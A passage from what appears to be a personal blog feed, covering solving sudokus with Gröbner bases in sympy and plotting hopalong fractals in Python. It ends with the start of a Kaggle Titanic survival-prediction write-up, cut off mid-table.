# G((x[54],x[55],x[56],x[63],x[64],x[65],x[72],x[73],x[74]))
# G((x[57],x[58],x[59],x[66],x[67],x[68],x[75],x[76],x[77]))
# G((x[60],x[61],x[62],x[69],x[70],x[71],x[78],x[79],x[80]))
</span>
<span class="c1"># Fix points
# Due to how the Buchberger algorithm for computing Gröbner bases
# works, this is significantly faster, if we prepend the equations.
</span><span class="k">for</span> <span class="n">count</span><span class="p">,</span> <span class="n">val</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">sudoku</span><span class="p">):</span>
<span class="k">if</span> <span class="n">val</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">F</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">x</span><span class="p">[</span><span class="n">count</span><span class="p">]</span><span class="o">-</span><span class="n">val</span><span class="p">)</span>
<span class="n">G</span> <span class="o">=</span> <span class="n">groebner</span><span class="p">(</span><span class="n">F</span><span class="p">)</span>
</code></pre></div></div>
<p>If you execute the code and wait long enough, then G contains the
Gröbner basis representation of the maximal ideal corresponding to the
solution of the sudoku as shown below.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">GroebnerBasis</span><span class="p">([</span><span class="n">x0</span> <span class="o">-</span> <span class="mi">5</span><span class="p">,</span> <span class="n">x1</span> <span class="o">-</span> <span class="mi">3</span><span class="p">,</span> <span class="n">x2</span> <span class="o">-</span> <span class="mi">4</span><span class="p">,</span> <span class="n">x3</span> <span class="o">-</span> <span class="mi">6</span><span class="p">,</span> <span class="n">x4</span> <span class="o">-</span> <span class="mi">7</span><span class="p">,</span> <span class="n">x5</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">x6</span> <span class="o">-</span> <span class="mi">9</span><span class="p">,</span> <span class="n">x7</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">x8</span> <span class="o">-</span> <span class="mi">2</span><span class="p">,</span> <span class="n">x9</span> <span class="o">-</span> <span class="mi">6</span><span class="p">,</span> <span class="n">x10</span> <span class="o">-</span> <span class="mi">7</span><span class="p">,</span> <span class="n">x11</span> <span class="o">-</span> <span class="mi">2</span><span class="p">,</span> <span class="n">x12</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">x13</span> <span class="o">-</span> <span class="mi">9</span><span class="p">,</span> <span class="n">x14</span> <span class="o">-</span> <span class="mi">5</span><span class="p">,</span> <span class="n">x15</span> <span class="o">-</span> <span class="mi">3</span><span class="p">,</span> <span class="n">x16</span> <span class="o">-</span> <span class="mi">4</span><span class="p">,</span> <span class="n">x17</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">x18</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">x19</span> <span class="o">-</span> <span class="mi">9</span><span class="p">,</span> <span class="n">x20</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">x21</span> <span class="o">-</span> <span class="mi">3</span><span class="p">,</span> <span class="n">x22</span> <span class="o">-</span> <span class="mi">4</span><span class="p">,</span> <span class="n">x23</span> <span class="o">-</span> <span class="mi">2</span><span class="p">,</span> <span class="n">x24</span> <span class="o">-</span> <span class="mi">5</span><span class="p">,</span> <span class="n">x25</span> <span class="o">-</span> <span class="mi">6</span><span class="p">,</span> <span class="n">x26</span> <span class="o">-</span> <span class="mi">7</span><span class="p">,</span> <span class="n">x27</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">x28</span> <span class="o">-</span> <span class="mi">5</span><span class="p">,</span> <span class="n">x29</span> <span class="o">-</span> <span class="mi">9</span><span class="p">,</span> <span class="n">x30</span> <span class="o">-</span> <span class="mi">7</span><span class="p">,</span> <span class="n">x31</span> <span class="o">-</span> <span class="mi">6</span><span class="p">,</span> <span class="n">x32</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">x33</span> <span class="o">-</span> <span class="mi">4</span><span class="p">,</span> <span class="n">x34</span> <span class="o">-</span> <span class="mi">2</span><span class="p">,</span> <span class="n">x35</span> <span class="o">-</span> <span class="mi">3</span><span class="p">,</span> <span class="n">x36</span> <span class="o">-</span> <span class="mi">4</span><span class="p">,</span> <span class="n">x37</span> <span class="o">-</span> <span class="mi">2</span><span class="p">,</span> <span class="n">x38</span> <span class="o">-</span> <span class="mi">6</span><span class="p">,</span> <span class="n">x39</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">x40</span> <span class="o">-</span> <span class="mi">5</span><span class="p">,</span> <span class="n">x41</span> <span class="o">-</span> <span class="mi">3</span><span class="p">,</span> <span class="n">x42</span> <span class="o">-</span> <span class="mi">7</span><span class="p">,</span> <span class="n">x43</span> <span class="o">-</span> <span class="mi">9</span><span class="p">,</span> <span class="n">x44</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">x45</span> <span class="o">-</span> <span class="mi">7</span><span class="p">,</span> <span class="n">x46</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">x47</span> <span class="o">-</span> <span class="mi">3</span><span class="p">,</span> <span class="n">x48</span> <span class="o">-</span> <span class="mi">9</span><span class="p">,</span> <span class="n">x49</span> <span class="o">-</span> <span class="mi">2</span><span class="p">,</span> <span class="n">x50</span> <span class="o">-</span> <span class="mi">4</span><span class="p">,</span> <span class="n">x51</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">x52</span> <span class="o">-</span> <span class="mi">5</span><span class="p">,</span> <span class="n">x53</span> <span class="o">-</span> <span class="mi">6</span><span class="p">,</span> <span class="n">x54</span> <span class="o">-</span> <span class="mi">9</span><span class="p">,</span> <span class="n">x55</span> <span class="o">-</span> <span class="mi">6</span><span class="p">,</span> <span class="n">x56</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">x57</span> <span class="o">-</span> <span class="mi">5</span><span class="p">,</span> <span class="n">x58</span> <span class="o">-</span> <span class="mi">3</span><span class="p">,</span> <span class="n">x59</span> <span class="o">-</span> <span class="mi">7</span><span class="p">,</span> <span class="n">x60</span> <span class="o">-</span> <span class="mi">2</span><span class="p">,</span> <span class="n">x61</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">x62</span> <span class="o">-</span> <span class="mi">4</span><span class="p">,</span> <span class="n">x63</span> <span class="o">-</span> <span class="mi">2</span><span class="p">,</span> <span class="n">x64</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">x65</span> <span class="o">-</span> <span class="mi">7</span><span class="p">,</span> <span class="n">x66</span> <span class="o">-</span> <span class="mi">4</span><span class="p">,</span> <span class="n">x67</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">x68</span> <span class="o">-</span> <span class="mi">9</span><span class="p">,</span> <span class="n">x69</span> <span class="o">-</span> <span class="mi">6</span><span class="p">,</span> <span class="n">x70</span> <span class="o">-</span> <span class="mi">3</span><span class="p">,</span> <span class="n">x71</span> <span class="o">-</span> <span class="mi">5</span><span class="p">,</span> <span class="n">x72</span> <span class="o">-</span> <span class="mi">3</span><span class="p">,</span> <span class="n">x73</span> <span class="o">-</span> <span class="mi">4</span><span class="p">,</span> <span class="n">x74</span> <span class="o">-</span> <span class="mi">5</span><span class="p">,</span> <span class="n">x75</span> <span class="o">-</span> <span class="mi">2</span><span class="p">,</span> <span class="n">x76</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">x77</span> <span class="o">-</span> <span class="mi">6</span><span class="p">,</span> <span class="n">x78</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">x79</span> <span class="o">-</span> <span class="mi">7</span><span class="p">,</span> <span class="n">x80</span> <span class="o">-</span> <span class="mi">9</span><span class="p">],</span> <span class="n">x0</span><span class="p">,</span> <span class="n">x1</span><span class="p">,</span> <span class="n">x2</span><span class="p">,</span> <span class="n">x3</span><span class="p">,</span> <span class="n">x4</span><span class="p">,</span> <span class="n">x5</span><span class="p">,</span> <span class="n">x6</span><span class="p">,</span> <span class="n">x7</span><span class="p">,</span> <span class="n">x8</span><span class="p">,</span> <span class="n">x9</span><span class="p">,</span> <span class="n">x10</span><span class="p">,</span> <span class="n">x11</span><span class="p">,</span> <span class="n">x12</span><span class="p">,</span> <span class="n">x13</span><span class="p">,</span> <span class="n">x14</span><span class="p">,</span> <span class="n">x15</span><span class="p">,</span> <span class="n">x16</span><span class="p">,</span> <span class="n">x17</span><span class="p">,</span> <span class="n">x18</span><span class="p">,</span> <span class="n">x19</span><span class="p">,</span> <span class="n">x20</span><span class="p">,</span> <span class="n">x21</span><span class="p">,</span> <span class="n">x22</span><span class="p">,</span> <span class="n">x23</span><span class="p">,</span> <span class="n">x24</span><span class="p">,</span> <span class="n">x25</span><span class="p">,</span> <span class="n">x26</span><span class="p">,</span> <span class="n">x27</span><span class="p">,</span> <span class="n">x28</span><span class="p">,</span> <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="n">x31</span><span class="p">,</span> <span class="n">x32</span><span class="p">,</span> <span class="n">x33</span><span class="p">,</span> <span class="n">x34</span><span class="p">,</span> <span class="n">x35</span><span class="p">,</span> <span class="n">x36</span><span class="p">,</span> <span class="n">x37</span><span class="p">,</span> <span class="n">x38</span><span class="p">,</span> <span class="n">x39</span><span class="p">,</span> <span class="n">x40</span><span class="p">,</span> <span class="n">x41</span><span class="p">,</span> <span class="n">x42</span><span class="p">,</span> <span class="n">x43</span><span class="p">,</span> <span class="n">x44</span><span class="p">,</span> <span class="n">x45</span><span class="p">,</span> <span class="n">x46</span><span class="p">,</span> <span class="n">x47</span><span class="p">,</span> <span class="n">x48</span><span class="p">,</span> <span class="n">x49</span><span class="p">,</span> <span class="n">x50</span><span class="p">,</span> <span class="n">x51</span><span class="p">,</span> <span class="n">x52</span><span class="p">,</span> <span class="n">x53</span><span class="p">,</span> <span class="n">x54</span><span class="p">,</span> <span class="n">x55</span><span class="p">,</span> <span class="n">x56</span><span class="p">,</span> <span class="n">x57</span><span class="p">,</span> <span class="n">x58</span><span class="p">,</span> <span class="n">x59</span><span class="p">,</span> <span class="n">x60</span><span class="p">,</span> <span class="n">x61</span><span class="p">,</span> <span class="n">x62</span><span class="p">,</span> <span class="n">x63</span><span class="p">,</span> <span class="n">x64</span><span class="p">,</span> <span class="n">x65</span><span class="p">,</span> <span class="n">x66</span><span class="p">,</span> <span class="n">x67</span><span class="p">,</span> <span class="n">x68</span><span class="p">,</span> <span class="n">x69</span><span class="p">,</span> <span class="n">x70</span><span class="p">,</span> <span class="n">x71</span><span class="p">,</span> <span class="n">x72</span><span class="p">,</span> <span class="n">x73</span><span class="p">,</span> <span class="n">x74</span><span class="p">,</span> <span class="n">x75</span><span class="p">,</span> <span class="n">x76</span><span class="p">,</span> <span class="n">x77</span><span class="p">,</span> <span class="n">x78</span><span class="p">,</span> <span class="n">x79</span><span class="p">,</span> <span class="n">x80</span><span class="p">,</span> <span class="n">domain</span><span class="o">=</span><span class="s">'ZZ'</span><span class="p">,</span> <span class="n">order</span><span class="o">=</span><span class="s">'lex'</span><span class="p">)</span>
</code></pre></div></div>
<p>So we can see that \(x0\) is \(5\), \(x1\) is \(3\), and so on.</p>
<h2 id="faq">FAQ</h2>
<ul>
<li>Your algorithm is stupidly slow</li>
</ul>
<p>Yes. That is due to the Buchberger algorithm being slow. If you are
looking for performance, you need a different approach.
You could try to choose a different monomial ordering or even rotate
the sudoku. All of this can impact the performance. In fact, the fast
computation of Gröbner bases is a current research topic.</p>
<ul>
<li>Where did you find the inspiration?</li>
</ul>
<p>Back when I was studying math at university, I read “A First Course in
Computational Algebraic Geometry” by Wolfram Decker and Gerhard
Pfister.
There, in the last chapter, there is an approach to solve sudokus
using Gröbner bases. However, the approach given there is different.
In particular they are using a different set of equations.</p>
Hopalongs
2021-05-29T00:00:00+00:00
https://hkopp.github.io/2021/05/hopalongs
<p>Back, when the internet was still small and i was still a pupil I had an intense fascination with fractals. Among others, I worked on so called hopalongs. These are orbits of a special map. They were discovered by Barry Martin of Aston University in Birmingham. In 1986 they were popularized in the Scientific American by the well-known recreational mathematician Dewdney.
The hopalong map is iteratively applied to a point (x,y) and the resulting points are plotted. The hopalong map takes three parameters, a, b, and c. Interestingly, the final image does not really depend on the starting point, but is very sensitive to changes in the parameters.</p>
<p>A previous collaboration of me on Hopalongs was with <a href="http://www.fraktalwelt.de/myhome/simpiter2-g.htm">Schwebinghaus</a>.</p>
<p>Back then, I programmed in Basic and bad Java, so I thought it would be a nice nostalgic experience to program hopalongs in Python. Below is the code and some nice images.</p>
<p>If you are capable of understanding German, you should also take a look <a href="http://mathematische-basteleien.de/huepfer.htm">here</a>.</p>
<p>If you want to follow along with a jupyter notebook, you can download
it from <a href="http://hkopp.github.io/assets/hopalongs/hopalong.ipynb">here</a>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">seaborn</span> <span class="k">as</span> <span class="n">sns</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
</code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">create_hopalong</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">n</span><span class="o">=</span><span class="mi">5000</span><span class="p">):</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="o">-</span><span class="mi">1</span><span class="p">):</span>
<span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">y</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-</span><span class="n">np</span><span class="p">.</span><span class="n">sign</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">*</span><span class="n">np</span><span class="p">.</span><span class="n">sqrt</span><span class="p">(</span><span class="nb">abs</span><span class="p">(</span><span class="n">b</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-</span><span class="n">c</span><span class="p">))</span>
<span class="n">y</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">a</span><span class="o">-</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="k">return</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="o">=</span> <span class="n">create_hopalong</span><span class="p">(</span><span class="mf">0.7</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mf">0.3</span><span class="p">)</span>
<span class="n">sns</span><span class="p">.</span><span class="n">jointplot</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="o">=</span><span class="n">y</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/hopalongs/output_3_1.png" alt="png" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="o">=</span> <span class="n">create_hopalong</span><span class="p">(</span><span class="mf">0.7</span><span class="p">,</span><span class="mf">0.3</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span>
<span class="n">sns</span><span class="p">.</span><span class="n">jointplot</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="o">=</span><span class="n">y</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/hopalongs/output_4_1.png" alt="png" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="o">=</span> <span class="n">create_hopalong</span><span class="p">(</span><span class="mf">0.5</span><span class="p">,</span><span class="mf">0.3</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">100000</span><span class="p">)</span>
<span class="n">sns</span><span class="p">.</span><span class="n">jointplot</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="o">=</span><span class="n">y</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/hopalongs/output_5_1.png" alt="png" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="o">=</span> <span class="n">create_hopalong</span><span class="p">(</span><span class="mf">0.2</span><span class="p">,</span><span class="mf">0.3</span><span class="p">,</span><span class="mf">0.2</span><span class="p">)</span>
<span class="n">sns</span><span class="p">.</span><span class="n">jointplot</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="o">=</span><span class="n">y</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/hopalongs/output_6_1.png" alt="png" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="o">=</span> <span class="n">create_hopalong</span><span class="p">(</span><span class="mf">0.1</span><span class="p">,</span><span class="mf">0.3</span><span class="p">,</span><span class="mf">0.2</span><span class="p">)</span>
<span class="n">sns</span><span class="p">.</span><span class="n">jointplot</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="o">=</span><span class="n">y</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/hopalongs/output_7_1.png" alt="png" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="o">=</span> <span class="n">create_hopalong</span><span class="p">(</span><span class="mf">0.11</span><span class="p">,</span><span class="mf">0.3</span><span class="p">,</span><span class="mf">0.2</span><span class="p">)</span>
<span class="n">sns</span><span class="p">.</span><span class="n">jointplot</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="o">=</span><span class="n">y</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/hopalongs/output_8_1.png" alt="png" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="o">=</span> <span class="n">create_hopalong</span><span class="p">(</span><span class="mf">0.111</span><span class="p">,</span><span class="mf">0.3</span><span class="p">,</span><span class="mf">0.2</span><span class="p">)</span>
<span class="n">sns</span><span class="p">.</span><span class="n">jointplot</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="o">=</span><span class="n">y</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/hopalongs/output_9_1.png" alt="png" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="o">=</span> <span class="n">create_hopalong</span><span class="p">(</span><span class="mf">0.111</span><span class="p">,</span><span class="mf">0.4</span><span class="p">,</span><span class="mf">0.2</span><span class="p">,</span> <span class="mi">10000</span><span class="p">)</span>
<span class="n">sns</span><span class="p">.</span><span class="n">jointplot</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="o">=</span><span class="n">y</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/hopalongs/output_10_1.png" alt="png" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="o">=</span> <span class="n">create_hopalong</span><span class="p">(</span><span class="mf">0.111</span><span class="p">,</span><span class="mf">0.4</span><span class="p">,</span><span class="mf">0.2</span><span class="p">,</span> <span class="mi">15000</span><span class="p">)</span>
<span class="n">sns</span><span class="p">.</span><span class="n">jointplot</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="o">=</span><span class="n">y</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/hopalongs/output_11_1.png" alt="png" /></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="o">=</span> <span class="n">create_hopalong</span><span class="p">(</span><span class="mf">0.111</span><span class="p">,</span><span class="mf">0.4</span><span class="p">,</span><span class="mf">0.2</span><span class="p">,</span> <span class="mi">30000</span><span class="p">)</span>
<span class="n">sns</span><span class="p">.</span><span class="n">jointplot</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="o">=</span><span class="n">y</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/hopalongs/output_12_1.png" alt="png" /></p>
Hacking The Titanic
2021-05-07T00:00:00+00:00
https://hkopp.github.io/2021/05/hacking-the-titanic
<h1 id="introduction">Introduction</h1>
<p>I registered at Kaggle and did the Titanic Challenge. Kaggle is a programming challenge platform for machine learning and data analytics. This is a writeup of the Titanic challenge. In this challenge we are building a probabilistic model to predict the survival of passengers based on their gender, age, and socio-economic status.
If you want to follow along with a jupyter notebook, you can download
it from <a href="http://hkopp.github.io/assets/2021-05-07-hacking-the-titanic/kaggle_titanic.ipynb">here</a>.</p>
<h1 id="coding">Coding</h1>
<p>Kaggle provides us with the file
<a href="http://hkopp.github.io/assets/2021-05-07-hacking-the-titanic/train.csv">train.csv</a>
for training our model. There is also a file
<a href="http://hkopp.github.io/assets/2021-05-07-hacking-the-titanic/test.csv">test.csv</a>
of passengers whose survival we have to predict and upload to the platform.</p>
<h2 id="loading-libraries">Loading libraries</h2>
<p>First, we load all the necessary libraries.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="n">pd</span>
<span class="kn">from</span> <span class="nn">pandas_profiling</span> <span class="kn">import</span> <span class="n">ProfileReport</span>
<span class="kn">from</span> <span class="nn">sklearn.naive_bayes</span> <span class="kn">import</span> <span class="n">GaussianNB</span>
<span class="kn">from</span> <span class="nn">sklearn.model_selection</span> <span class="kn">import</span> <span class="n">train_test_split</span>
</code></pre></div></div>
<h2 id="loading-data">Loading data</h2>
<p>Next, we load the data provided by Kaggle and explore it.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">train</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s">'kaggle/train.csv'</span><span class="p">)</span>
<span class="n">test</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s">'kaggle/test.csv'</span><span class="p">)</span>
</code></pre></div></div>
<p>The various columns of the data are as follows:</p>
<ul>
<li>survival: 0 = No, 1 = Yes</li>
<li>pclass: Ticket class 1 = 1st, 2 = 2nd, 3 = 3rd</li>
<li>sex: Sex</li>
<li>Age: Age in years</li>
<li>sibsp: # of siblings / spouses aboard the Titanic</li>
<li>parch: # of parents / children aboard the Titanic</li>
<li>ticket: Ticket number</li>
<li>fare: Passenger fare</li>
<li>cabin: Cabin number</li>
<li>embarked: Port of Embarkation</li>
</ul>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">train</span>
</code></pre></div></div>
<div>
<style scoped="">
.dataframe tbody tr th:only-of-type {
vertical-align: middle;
}
.dataframe tbody tr th {
vertical-align: top;
}
.dataframe thead th {
text-align: right;
}
</style>
<table border="1" class="dataframe">
<thead>
<tr style="text-align: right;">
<th></th>
<th>PassengerId</th>
<th>Survived</th>
<th>Pclass</th>
<th>Name</th>
<th>Sex</th>
<th>Age</th>
<th>SibSp</th>
<th>Parch</th>
<th>Ticket</th>
<th>Fare</th>
<th>Cabin</th>
<th>Embarked</th>
</tr>
</thead>
<tbody>
<tr>
<th>0</th>
<td>1</td>
<td>0</td>
<td>3</td>
<td>Braund, Mr. Owen Harris</td>
<td>male</td>
<td>22.0</td>
<td>1</td>
<td>0</td>
<td>A/5 21171</td>
<td>7.2500</td>
<td>NaN</td>
<td>S</td>
</tr>
<tr>
<th>1</th>
<td>2</td>
<td>1</td>
<td>1</td>
<td>Cumings, Mrs. John Bradley (Florence Briggs Th...</td>
<td>female</td>
<td>38.0</td>
<td>1</td>
<td>0</td>
<td>PC 17599</td>
<td>71.2833</td>
<td>C85</td>
<td>C</td>
</tr>
<tr>
<th>2</th>
<td>3</td>
<td>1</td>
<td>3</td>
<td>Heikkinen, Miss. Laina</td>
<td>female</td>
<td>26.0</td>
<td>0</td>
<td>0</td>
<td>STON/O2. 3101282</td>
<td>7.9250</td>
<td>NaN</td>
<td>S</td>
</tr>
<tr>
<th>3</th>
<td>4</td>
<td>1</td>
<td>1</td>
<td>Futrelle, Mrs. Jacques Heath (Lily May Peel)</td>
<td>female</td>
<td>35.0</td>
<td>1</td>
<td>0</td>
<td>113803</td>
<td>53.1000</td>
<td>C123</td>
<td>S</td>
</tr>
<tr>
<th>4</th>
<td>5</td>
<td>0</td>
<td>3</td>
<td>Allen, Mr. William Henry</td>
<td>male</td>
<td>35.0</td>
<td>0</td>
<td>0</td>
<td>373450</td>
<td>8.0500</td>
<td>NaN</td>
<td>S</td>
</tr>
<tr>
<th>...</th>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<th>886</th>
<td>887</td>
<td>0</td>
<td>2</td>
<td>Montvila, Rev. Juozas</td>
<td>male</td>
<td>27.0</td>
<td>0</td>
<td>0</td>
<td>211536</td>
<td>13.0000</td>
<td>NaN</td>
<td>S</td>
</tr>
<tr>
<th>887</th>
<td>888</td>
<td>1</td>
<td>1</td>
<td>Graham, Miss. Margaret Edith</td>
<td>female</td>
<td>19.0</td>
<td>0</td>
<td>0</td>
<td>112053</td>
<td>30.0000</td>
<td>B42</td>
<td>S</td>
</tr>
<tr>
<th>888</th>
<td>889</td>
<td>0</td>
<td>3</td>
<td>Johnston, Miss. Catherine Helen "Carrie"</td>
<td>female</td>
<td>NaN</td>
<td>1</td>
<td>2</td>
<td>W./C. 6607</td>
<td>23.4500</td>
<td>NaN</td>
<td>S</td>
</tr>
<tr>
<th>889</th>
<td>890</td>
<td>1</td>
<td>1</td>
<td>Behr, Mr. Karl Howell</td>
<td>male</td>
<td>26.0</td>
<td>0</td>
<td>0</td>
<td>111369</td>
<td>30.0000</td>
<td>C148</td>
<td>C</td>
</tr>
<tr>
<th>890</th>
<td>891</td>
<td>0</td>
<td>3</td>
<td>Dooley, Mr. Patrick</td>
<td>male</td>
<td>32.0</td>
<td>0</td>
<td>0</td>
<td>370376</td>
<td>7.7500</td>
<td>NaN</td>
<td>Q</td>
</tr>
</tbody>
</table>
<p>891 rows × 12 columns</p>
</div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">train</span><span class="p">.</span><span class="n">describe</span><span class="p">()</span>
</code></pre></div></div>
<div>
<style scoped="">
.dataframe tbody tr th:only-of-type {
vertical-align: middle;
}
.dataframe tbody tr th {
vertical-align: top;
}
.dataframe thead th {
text-align: right;
}
</style>
<table border="1" class="dataframe">
<thead>
<tr style="text-align: right;">
<th></th>
<th>PassengerId</th>
<th>Survived</th>
<th>Pclass</th>
<th>Age</th>
<th>SibSp</th>
<th>Parch</th>
<th>Fare</th>
</tr>
</thead>
<tbody>
<tr>
<th>count</th>
<td>891.000000</td>
<td>891.000000</td>
<td>891.000000</td>
<td>714.000000</td>
<td>891.000000</td>
<td>891.000000</td>
<td>891.000000</td>
</tr>
<tr>
<th>mean</th>
<td>446.000000</td>
<td>0.383838</td>
<td>2.308642</td>
<td>29.699118</td>
<td>0.523008</td>
<td>0.381594</td>
<td>32.204208</td>
</tr>
<tr>
<th>std</th>
<td>257.353842</td>
<td>0.486592</td>
<td>0.836071</td>
<td>14.526497</td>
<td>1.102743</td>
<td>0.806057</td>
<td>49.693429</td>
</tr>
<tr>
<th>min</th>
<td>1.000000</td>
<td>0.000000</td>
<td>1.000000</td>
<td>0.420000</td>
<td>0.000000</td>
<td>0.000000</td>
<td>0.000000</td>
</tr>
<tr>
<th>25%</th>
<td>223.500000</td>
<td>0.000000</td>
<td>2.000000</td>
<td>20.125000</td>
<td>0.000000</td>
<td>0.000000</td>
<td>7.910400</td>
</tr>
<tr>
<th>50%</th>
<td>446.000000</td>
<td>0.000000</td>
<td>3.000000</td>
<td>28.000000</td>
<td>0.000000</td>
<td>0.000000</td>
<td>14.454200</td>
</tr>
<tr>
<th>75%</th>
<td>668.500000</td>
<td>1.000000</td>
<td>3.000000</td>
<td>38.000000</td>
<td>1.000000</td>
<td>0.000000</td>
<td>31.000000</td>
</tr>
<tr>
<th>max</th>
<td>891.000000</td>
